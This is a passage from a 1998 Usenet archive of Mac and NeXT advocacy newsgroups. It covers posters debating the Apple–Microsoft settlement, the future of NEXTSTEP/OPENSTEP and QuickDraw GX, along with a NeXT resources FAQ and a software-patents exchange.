ensuring that Microsoft couldn't sell it quickly and damage the stock
price as a result.
(7) A savings of tens of millions of dollars in legal fees in the
prosecution of a suit Apple had no guarantee of wining.
So, both companies benefit, and neither was "forced" to agree to the
settlement. It was a voluntary move in which both sides came out
winners.
> There may be a shortness of evidence in this thread. But there certainly
> isn't a shortness of belief in the marketing hype expressed by your
> statements. As for spurious e-mail? Hmm. Lets wonder why it is
> admissible in a court of law. Better yet, let's wonder how different it is
> than someone writing something down on paper: A person has thoughts. A
> person relates those thoughts into a language (in this case english). A
> person sends the expressed form of those thoughts (e-mail or on paper) to
> someone else. Someone else reads the expressed form and reconstructs a
> rough version of the original thoughts in their mind, attempting to model
> what the sender was intending to convey. Through this process
> communication has occurred. Ok, we're back to another subtle point. Is
> e-mail any different than paper in this process? Hmm . . not very. So,
> by deduction, if e-mails from Bill and Co. are spurious, where does that
> leave paper as evidence? It's spurious too? Oh wow, now I've learned
> something! Now I understand why it was perfectly fine for Ollie North to
> shred all those documents - it was just a bunch of spurious junk! See, the
> teacher can learn too!
Well, good! I'm glad you're not above a little learning...:)
First, with a typed letter you usually have an accompanying signature
which can be verified as being genuine or being forged. Second, in the
case of hand-written notes, you again have personal handwriting that can
be used to either verify that they were written or not written by a
specific individual if there is a question. Third, in the case of even
typed outline notes you often have handwritten scribbles in the margins
and other tell-tale individual markers.
In the case of an "email", if I sat on your computer and sent an email
to someone and typed your name at the bottom, how would you prove you
*did not* send it if you desired to do so?
You know the answer: you couldn't prove you didn't send it. Period.
Let me also pose this question to you in another way. Suppose that
someone produced an email which you had purportedly written three years
ago. As it would bear nothing within it to link it to you except your
name, could you guarantee that you would be able to recall whether you
had written it or not? Is it your contention that there is something
mystical within the emailing process that makes sure that none of us
might ever forget even a single email we've written, regardless of how
long ago we wrote it? I'll bet you that if you use email regularly and
have done so over the course of years there are probably dozens if not
hundreds of emails from years past, that if presented to you, you would
be completely unable to recall ever having written.
Of course, were these communications done in the form of a signed
letter, you could check out your signature if you were unable to
remember the contents. If they were in the form of hand-written notes,
you could check your handwriting, couldn't you? Emails bear none of
these verifiable hallmarks.
The fact that you can't see the difference between sterile emails and
paper trails replete with all sorts of individual markers (signatures,
hand written notes, handwritten scribbles in the margins, etc.) is
beyond me. Glad you aren't in charge of the legal system!...:)
>
> But, back to the lesson. We can't let excitement over a little reverse
> lesson get in the way. The very last thing then the lesson concludes. It
> regards Quicktime still being around. Actually, you should have learned
> enough through the above lessons that you can piece together the basic
> reason why a product can still exist even when a competitor tries to kill
> it. I expect a report (no, I didn't say "retort", I said "report")
> tomorrow. They maybe you can be conferred the high honor of a BS degree
> which you so rightly deserve with all your hard work.
>
I conclude that Quicktime is around for two reasons:
(1) Apple did not wish to kill it off
(2) Microsoft did not try very hard to kill it, if they ever tried to
kill it at all. Tevanian is a paranoid bird...:)
That's my report...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 15:13:20 -0500
Content-Transfer-Encoding: 7bit
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Organization: EarthLink Network, Inc.
Content-Type: text/plain; charset=us-ascii
Mime-Version: 1.0
Message-ID: <364DE460.6097E101@spamtoNull.com>
gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
> I'm curious, does that mean that, for example, President Clinton did
> nothing to Paula Jones (that is what the settlement states).
> Will, for example, in a possible impeachment trial, the facts of the
> Paula Jones case become inadmissible ?
>
> Finally, does the settlement force the rest of us to agree that nothing
> happened, or place us in legal jeopardy ?
>
Were you in the room where Paula Jones alleges these things happened
when they reportedly happened? If not, who are you to dispute the terms
of the settlement? The settlement states that Clinton did nothing and
apologizes for nothing and Paula Jones has agreed to drop the issue
forever--*neither* party in this case ever has a right to raise the
issue again. This is what both parties signed off on. It is a legal
document. It is binding on both.
As for any settlement any two disputing parties may agree to complete,
the opinions of people not directly involved in the matter are
irrelevant. What the parties stipulate is what counts. Outside of that,
you are of course free to hold whatever opinion to the contrary you
wish. Lots of people have the opinion that there's life on Mars and that
the moon shots were hoaxes staged on the desert. It's a free country and
you can think what you want. Me, I think the actions and legal
statements of the parties carries more weight. That's why I find the
settlement between Apple and Microsoft to contain more valuable factual
information about the dispute than all the years of rumor and gossip
combined.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 15:14:58 -0500
Content-Transfer-Encoding: 7bit
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Organization: EarthLink Network, Inc.
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Message-ID: <364DE4C2.1E0A459D@spamtoNull.com>
gupta@knim.tm.tta.moc-mirror, after, @ wrote:
> >
> >I get just as nervous when Steve Jobs justifies killing Mac cloning in
> >the interests of "consumer choice" (which he has had the unmitigated
> >gall to actually do.)...:)
>
> I see a distinction between a sinking company buying its way out
> of a ruinous contract (with Power Computing) and not renewing it
> with the rest (UMax, etc.);
>
> and a company with a 90% marketshare making doing of business
> conditional on dropping of products.
>
That's only because you're an Apple apologist, and I'm not...:) I am
free to "think different"....
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Advocacy for NeXT/OPENstep
Date: 14 Nov 1998 23:20:50 GMT
Organization: AOL http://www.aol.com
Message-ID: <19981114182050.18459.00002175@ng-fi1.aol.com>
Where does this stand exactly, both on practical and philosiphical bases?
(please note that I'm not questioning the existenc of
comp.sys.next.advocacy--that its existence cuts down on .advocacy style flame
wars and noise in the remainder of the comp.sys.next.* groups is reason enough)
Apple has how many copies of OPENSTEP 4.2 to sell? of NeXTstep 3.3?
When those are sold out would they bother to press new ones?
It seems that there may be now a finite limit on the number of NeXTstep
installations, discounting of course illegal CD-ROM burns and GNUstep (just how
compatible is this likely to be at the source code level? How many developers
are interested in donating their source code (even to old versions) as
examples?)
How many MacOSX apps will be issued in OPENSTEP versions? How easy is such
dual-developement?
Having been involved in one rather uncomfortable discussion of this latter
point already (AFS's PasteUp.app's abandonment of NeXTstep style object-linking
being dropped), my question here is to ask--is there then a (practically)
limited number of applications for the platform?
What reasons are there for Apple to allow this state of affairs?
Wouldn't keeping OPENSTEP alive allow them an out which would not compete
overly much with MacOS X?
Why not do a Plus! like pack which would add all of the abandoned NeXTstep
extras to a MacOS X installation?
How difficult would it be to at this late date do a NeXTstep build on the new
kernel and other object improvements? (BTW - did anyone catch MacWorld's claim
of a direct port of OPENSTEP to PPC a couple of month's ago? The timeframe for
its existence was prior to DR1, it was the issue announcing MacOS X.)
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 23:15:06 GMT
Organization: Net Squared, Inc.
Message-ID: <01be1023$3446fd80$06387880@chewy>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <01be0eb2$2064ff50$06387880@chewy> <364C9471.191445C9@spamtoNull.com> <01be0f87$f87c2640$06387880@chewy> <364DC469.395BDD91@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote
> "Todd Heberlein (todd at NetSQ dot com)" wrote:
>
> >
> > Most people wouldn't care about Microsoft's monopoly in
> > operating systems if it didn't try use use that monopoly
> > to kill other markets. Remember, having a monopoly is *not*
> > illegal.
>
>
> I can certainly go along with this, provided regular,
> run-of-the-mill hardball competition isn't construed to mean
> "using monopoly power to kill other markets." For instance, ...
Jonathan, I largely agree with you, and what makes the government's job
difficult is that the issues *are* fuzzy.
For example, the U.S. used to get in a tizzy accusing Japan and others
of "dumping" products at less than what it takes to produce them.
Likewise, people declared Micorsoft's making IE free a form of dumping
to destroy Netscape (remember the famous quote, "We'll cut off their
air supply" ?).
But today that has become standard practice. Netscape, Microsoft,
RealNetworks, Apple (QuickTime), and others do this with many of their
products - they sell them for less than it takes to develop them.
Likewise, exclusive contracts, bundling, financial inducements and
other actions are common in many businesses including software.
One of the government's jobs is to argue that certain acts which are
legal in some circumstances are illegal when you have a monopoly
position in some way.
That, IMHO, is what makes the case sticky.
> >
> > Today's market is probably an abberation.
>
> I think it's probably more that Netscape and Microsoft have
> been on a "copy and one-up-you" strategy for a long time--so
> that the functions they include are actually very similar.
It is funny to think a *long* time is a little over two years (IE 3.0,
the first real competition to Netscape, shipped in Aug. 96).
I guess that is Internet Time for you. :-)
Todd
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <rbarris-ya023280001411981639000001@206.82.216.1>
References: <364295A3.ABE8C927@earthlink.net> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtonull.com> <72k42p$6g0@newsb.netnews.att.com> <364DE4C2.1E0A459D@spamtoNull.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Sat, 14 Nov 1998 16:39:00 -0800
NNTP-Posting-Date: Sat, 14 Nov 1998 16:37:54 PDT
In article <364DE4C2.1E0A459D@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
> > >
> > >I get just as nervous when Steve Jobs justifies killing Mac cloning in
> > >the interests of "consumer choice" (which he has had the unmitigated
> > >gall to actually do.)...:)
> >
> > I see a distinction between a sinking company buying its way out
> > of a ruinous contract (with Power Computing) and not renewing it
> > with the rest (UMax, etc.);
> >
> > and a company with a 90% marketshare making doing of business
> > conditional on dropping of products.
> >
>
> That's only because you're an Apple apologist, and I'm not...:) I am
> free to "think different"....
Is that's true, the distinction raised by Gupta would not be held with
any validity by the general public? I don't buy that. You're trying to
discredit his point "ad hominem" style.
Rob
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 21:18:33 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981114211833178855@pm2-3-11.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B322A.85F81455@spamtoNull.com> <cirby-1211981628000001@pm61-29.magicnet.net> <364C7C35.2405E875@spamtonull.com> <72k3sa$6dn@newsb.netnews.att.com>
<gupta@knim.tm.tta.moc-mirror> wrote:
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> >Your sentiments on the matter reflect no more than past scuttlebutt,
> >rumor, and innuendo. The *facts*, as they have been officially stated by
> >Apple, are that Microsoft is "not guilty" of any of these rumored
> >offenses.
>
> I'm curious, does that mean that, for example, President Clinton did
> nothing to Paula Jones (that is what the settlement states).
Settlement? The case was thrown out of court. The judge sais even IF all
of Ms. Jones allegations were true, there was no workplace sexual
harrassment. Get a clue.
> Will, for example, in a possible impeachment trial, the facts of the
> Paula Jones case become inadmissible ?
>
Depends on the facts of the Impeachment trial, doesnt it?
> Finally, does the settlement force the rest of us to agree that nothing
> happened, or place us in legal jeopardy ?
>
Are you from this part of the galaxy?
--
Remove nojunk from my email address to reply by email.
####################################################################
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 21:18:35 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981114211835178996@pm2-3-11.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtonull.com> <72k42p$6g0@newsb.netnews.att.com> <364DE4C2.1E0A459D@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > I see a distinction between a sinking company buying its way out
> > of a ruinous contract (with Power Computing) and not renewing it
> > with the rest (UMax, etc.);
> >
> > and a company with a 90% marketshare making doing of business
> > conditional on dropping of products.
> >
>
>
> That's only because you're an Apple apologist, and I'm not...:) I am
> free to "think different"....
You dont think at all.
--
Remove nojunk from my email address to reply by email.
Date: Sat, 14 Nov 1998 22:20:18 -0500
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <tbrown-1411982220190001@mv231.axom.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <364C8CF8.9A3394D5@spamtoNull.com> <tbrown-1311981850220001@mv180.axom.com> <364D94FF.88D501D@spamtoNull.com>
Organization: Newsfeeds.com http://www.newsfeeds.com 60,000+ UNCENSORED Newsgroups.
In article <364D94FF.88D501D@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>Ted Brown wrote:
>
>>
>> I never said MS did it against their will. You stated that MS gave Apple
>> a browser worth millions. They didn't, they made a Mac Browser to finish
>> a deal they made with AOL. They gave AOL a browser worth millions. Apple
>> had nothing to do with it, other than agreeing to use it as the default
>> browser in the Mac OS.
>
>
>OK, so if I understand you, then, your position is that Microsoft doing
>a Mac browser for AOL did nothing for the Mac, but only benefited AOL
>and Microsoft. Have you thought about the fact that since this made AOL
>I-browsing just as accessible to Mac users as to PC users, that with
>first-time-buyers and newbies in general this might have made them feel
>more comfortable purchasing a Mac instead of a PC?
No, that is not an adequate summation of my position. I've made no
statements of how much Mac IE helped Apple, as it's beside the point.
Competition is good, I'm glad that MS made IE. Even though I don't use it
currently, I still directly benefit from it's existence.
I think if I had to follow your track, I'd have to say that AOL gave Apple
a browser worth millions, not MS. It's the AOL-MS deal that required MS
to make Mac IE. I don't know if they would have made it w/o the deal, I
do know that the deal made it happen.
I just take exception to viewing Mac IE as an act of charity on MS's
part. It wasn't charity, it was part of the price to get AOL to switch to
IE.
--
tbrown@netset.com
---== http://www.newsfeeds.com - Largest Usenet Server In The World! ==---
---== http://www.newsfeeds.com - Largest Usenet Server In The World! ==---
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Advocacy for NeXT/OPENstep
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <19981114182050.18459.00002175@ng-fi1.aol.com>
Message-ID: <4os32.1096$rY3.3537193@news.rdc1.sdca.home.com>
Date: Sun, 15 Nov 1998 04:03:12 GMT
NNTP-Posting-Date: Sat, 14 Nov 1998 20:03:12 PDT
Organization: @Home Network
In <19981114182050.18459.00002175@ng-fi1.aol.com> WillAdams wrote:
> Where does this stand exactly, both on practical and philosiphical bases?
>
>
Michael Peck answered that question with... deference to all ± csna people
are masquerading as irrelevent 10 yr Johnny come latelys... or something
like that. All apologies to MP and bastardization of the actual quote
(wherever it is).
NS/OS software and the hardware it ran on are silicon antiquities.
Practical/philosophical basis for future relevence are owed largely to
legacy datastores, legacy investments, and legacy productivity skillsets.
Romantic/optimistic basis for future relevence were largely realised in the
OS -> MacOS X evolution. Stubborn determination not withstanding, any power
(read influence) left in NS/OS advocacy is self-deprecating humor, once
MacOS X goes CR.
c.s.n.a. becomes an oxymoron advocating its past... it becomes time to see
what Mac whizkids do with a real OS :-).
-r
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 15 Nov 1998 04:26:25 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72ll5h$8kv@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <364C7C35.2405E875@spamtonull.com> <72k3sa$6dn@newsb.netnews.att.com> <19981114211833178855@pm2-3-11.aug.com>
Originator: gupta@tlctest
Rick <nojunkhattonr@aug.com> wrote:
>
>> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>>
>> >Your sentiments on the matter reflect no more than past scuttlebutt,
>> >rumor, and innuendo. The *facts*, as they have been officially stated by
>> >Apple, are that Microsoft is "not guilty" of any of these rumored
>> >offenses.
>>
>> I'm curious, does that mean that, for example, President Clinton did
>> nothing to Paula Jones (that is what the settlement states).
>
>Settlement? The case was thrown out of court. The judge sais even IF all
>of Ms. Jones allegations were true, there was no workplace sexual
>harrassment. Get a clue.
Who said anything about workplace sexual harassment ?
The question is : does the Jones-Clinton settlement mean that
nothing happened in the Arkansas hotel room ? Does it mean that Clinton
has been truthful ? Does it mean that Jones has been truthful ?
That two parties reach a settlement ( Jones - Clinton, Microsoft - Apple,
Microsoft - DOJ, whatever ) doesn't cause facts to become non-facts
(or vice versa). It merely means that the two parties have agreed not
to argue about them anymore.
-arun gupta
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <1620910501225@digifix.com>
Date: 15 Nov 1998 04:46:24 GMT
Organization: Digital Fix Development
Message-ID: <24470911106025@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
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_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: physrmh@phys.canterbury.ac.nz (Ryurick M. Hristev)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 16 Nov 1998 08:11:49 +1300
Organization: University of Canterbury
Message-ID: <qv6hfw0u5xm.fsf@physp43.phys.canterbury.ac.nz>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz> <36493AF7.BDFE3CAA@ix.netcom.com> <3649E20D.7878D21E@cadence.com>
Simon Kinahan <simonk@cadence.com> writes:
[...]
> Software patents are not bad in themselves. What is bad is that companies
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> have been allowed to patent things which do not meet the criteria of
> nonobviousness and novelty. It has become so expensive to challenge them
> that noone bothers. They'd rather pay the cost of licensing or
> cross-licensing. This is the situation that has to be changed.
Maybe they aren't. But then I would like to see a software patent who:
- is not trivial,
- is not based on mathematical formulas (are these patentable ?,
I know about RSA and MP3 but these are essentially mathematical methods)
- is not a protocol (are these patentable ?)
Cheers,
--
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GS/GM d- s+:+ a C++++>$ UL++(+++) P+ L+++ E++ W+(++) N+(++) o K-
w-- O- M- V- PS PE Y+ PGP+(++) t-- 5? X- R tv- b++(+++) DI D-- G
e+++ h--- r+++ y?
------END GEEK CODE BLOCK------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Macccentral on GX and MacOS X
Date: 15 Nov 98 12:05:59 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2747872-5439@206.165.43.37>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Cc: Warner_Onstine@eondesign.com, Tom_Nolan@eondesign.com,
Lawson_English@eondesign.com, Adam_Levy@intuit.com, "Eric King"
<rex@MIT.EDU>
To: "GX-Talk" <gx-talk@aimed.org>, hypercard@lists.best.com
nntp://news.primenet.com/comp.sys.next.advocacy
From: <ttp://www.maccentral.com/news/9811/nov04.shtml>
[...]
The graphics engine
After falling in love with Display Postscript, many developers and Apple
itself backpedaled to QuickDraw, even if it's "enhanced" and "Carbonized."
Clearly the enhanced version of QuickDraw will acquire many features from
QuickDraw GX. QDGX was a brand new, object oriented, graphics engine, with
a compatibility layer towards traditional bitmap-drawing QuickDraw, but it
required developers to rewrite their applications just like Display
Postscript would have done in the now abandoned Rhapsody strategy.
Menno believes GX was (is) far superior to both the original QuickDraw and
to Postscript, being the very first object oriented engine from the ground
up. (Everything is an object, or a "shape" in GX. It has the richest
graphics feature API set, unrivaled text handling and transfer modes
features, Menno says.
"The graphic engine of choice for Mac OS X should not be an enhanced
bitmap-based QuickDraw, but a 'Carbonized,' backwards compatible QuickDraw
GX, with some features added, like PDF read and write, Unicode support,
many of the text handling possibilities without font format change (True
Type and Postscript formats only)," Menno says. "The building blocks of
this idea are already present in NextStep environment: even Display
Postscript commands are NOT directly implemented, but they are 'objects'
hosted by a ObjectiveC-based environment, much like what Apple could do
with C++ based GX (eventually porting GX from C++ to Objective C, of
course). This choice would preserve Apple from leaving in the dust the most
advanced graphical engine for a PC GUI like GX, with less forced migration
for developers, better compatibility with Mac OS 7/8 applications, better
interoperability with other operating systems."
Agree with Menno? Totally disagree? Post your thoughts on MacCentral's
Readers Forum. And next week, we'll continue our look at Mac OS X (10) and
printing.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Test" <angeguaz@tin.it>
Newsgroups: comp.sys.next.advocacy
Subject: Test
Date: 15 Nov 1998 18:16:06 GMT
Organization: TIN
Message-ID: <72n5p6$nvv$488@nslave1.tin.it>
Body Test
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy>
<36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com>
<364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com>
<726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net>
<727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com>
<ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com>
<3647DCC4.4792B75A@trilithon.com> <qc_12.116$rY3.724777@news.rdc1.sdca.home.com>
<36493710.E6588BA1@trilithon.com> <0Dm22.450$rY3.970431@news.rdc1.sdca.home.com>
<364F6665.8D0BA59A@trilithon.com>
Message-ID: <xdK32.1193$rY3.3958698@news.rdc1.sdca.home.com>
Date: Mon, 16 Nov 1998 00:20:45 GMT
NNTP-Posting-Date: Sun, 15 Nov 1998 16:20:45 PDT
Organization: @Home Network
In <364F6665.8D0BA59A@trilithon.com> Henry McGilton wrote:
> WRex WRiley Wrote:
>
> * I don't know if mucking with the internals of the fonts
> * themselves happened? This is a quick conversation with
> * someone in early 1990's about a feature demo'd but not
> * shipped. They explained it away as a licensing problem.
>
> * It's frustrating to not be able to convey what was demo'd.
> * The font touch and play was gone when the final product reached
> * the consumer. This was a 40 min. demo Glenn gave which crashed
> * alot. Glenn had optimized the app reboot so it was almost
> * instantaneous, so it impressed some unwashed masses
> * from NYC and MIT, even though a work-in-progress demo.
>
> I eventually got around to talking with Glenn, just to ensure
> that I recalled correctly what was in the PasteUp code.
>
> I cranked up the old NextStep software stuff over the weekend
> and took a look at a couple of bits and pieces. The nearest
> thing that comes close to what you describe is Create from
> Andrew Stone. Create can do all kinds of funky effects with
> graphics, and the effects look especially wild and crazy with
> text. But all the effects that Create can achieve can be
> done with straight old PostScript affine transforms ---
> there's no need to get inside the actual font itself. No
> licensing problem would raise its head.
>
> Obligatory disclaimer to pre-empt You Know Who --- of
> course if we'd only had QuickDraw GX with three by three
> matrices instead of DPS with two by three matrices we could
> do perspective effects as well as affine transforms, but
> since we saddled ourselves with such an inferior imaging
> model, blah blah blah blah blah whacka whacka whacka whacka
> whacka . . .
>
>
> Cheers,
> ........ Henry
>
>
At least you came out of this with your sense of humor. That's more than I
can say for my sense of recollection :-)
